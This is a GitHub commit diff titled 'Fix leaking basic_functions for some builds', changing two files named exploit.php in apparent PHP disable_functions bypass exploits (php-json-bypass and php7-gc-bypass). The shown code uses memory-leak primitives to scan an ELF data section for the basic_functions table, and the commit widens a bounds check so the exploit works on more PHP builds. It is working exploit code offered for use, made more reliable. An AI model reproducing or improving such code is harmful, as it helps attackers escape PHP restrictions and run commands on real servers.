Skip to content

Commit b160b06

Browse files
committed
Fix leaking basic_functions for some builds
1 parent c8b7065 commit b160b06

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

php-json-bypass/exploit.php

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -91,15 +91,15 @@ public function get_basic_funcs($base, $elf) {
9191
list($data_addr, $text_size, $data_size) = $elf;
9292
for($i = 0; $i < $data_size / 8; $i++) {
9393
$leak = $this->leak2($data_addr, $i * 8);
94-
if($leak - $base > 0 && $leak - $base < $text_size) {
94+
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
9595
$deref = $this->leak2($leak);
9696
# 'constant' constant check
9797
if($deref != 0x746e6174736e6f63)
9898
continue;
9999
} else continue;
100100

101101
$leak = $this->leak2($data_addr, ($i + 4) * 8);
102-
if($leak - $base > 0 && $leak - $base < $text_size) {
102+
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
103103
$deref = $this->leak2($leak);
104104
# 'bin2hex' constant check
105105
if($deref != 0x786568326e6962)

php7-gc-bypass/exploit.php

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -86,15 +86,15 @@ function get_basic_funcs($base, $elf) {
8686
list($data_addr, $text_size, $data_size) = $elf;
8787
for($i = 0; $i < $data_size / 8; $i++) {
8888
$leak = leak($data_addr, $i * 8);
89-
if($leak - $base > 0 && $leak - $base < $text_size) {
89+
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
9090
$deref = leak($leak);
9191
# 'constant' constant check
9292
if($deref != 0x746e6174736e6f63)
9393
continue;
9494
} else continue;
9595

9696
$leak = leak($data_addr, ($i + 4) * 8);
97-
if($leak - $base > 0 && $leak - $base < $text_size) {
97+
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
9898
$deref = leak($leak);
9999
# 'bin2hex' constant check
100100
if($deref != 0x786568326e6962)

0 commit comments

Comments
 (0)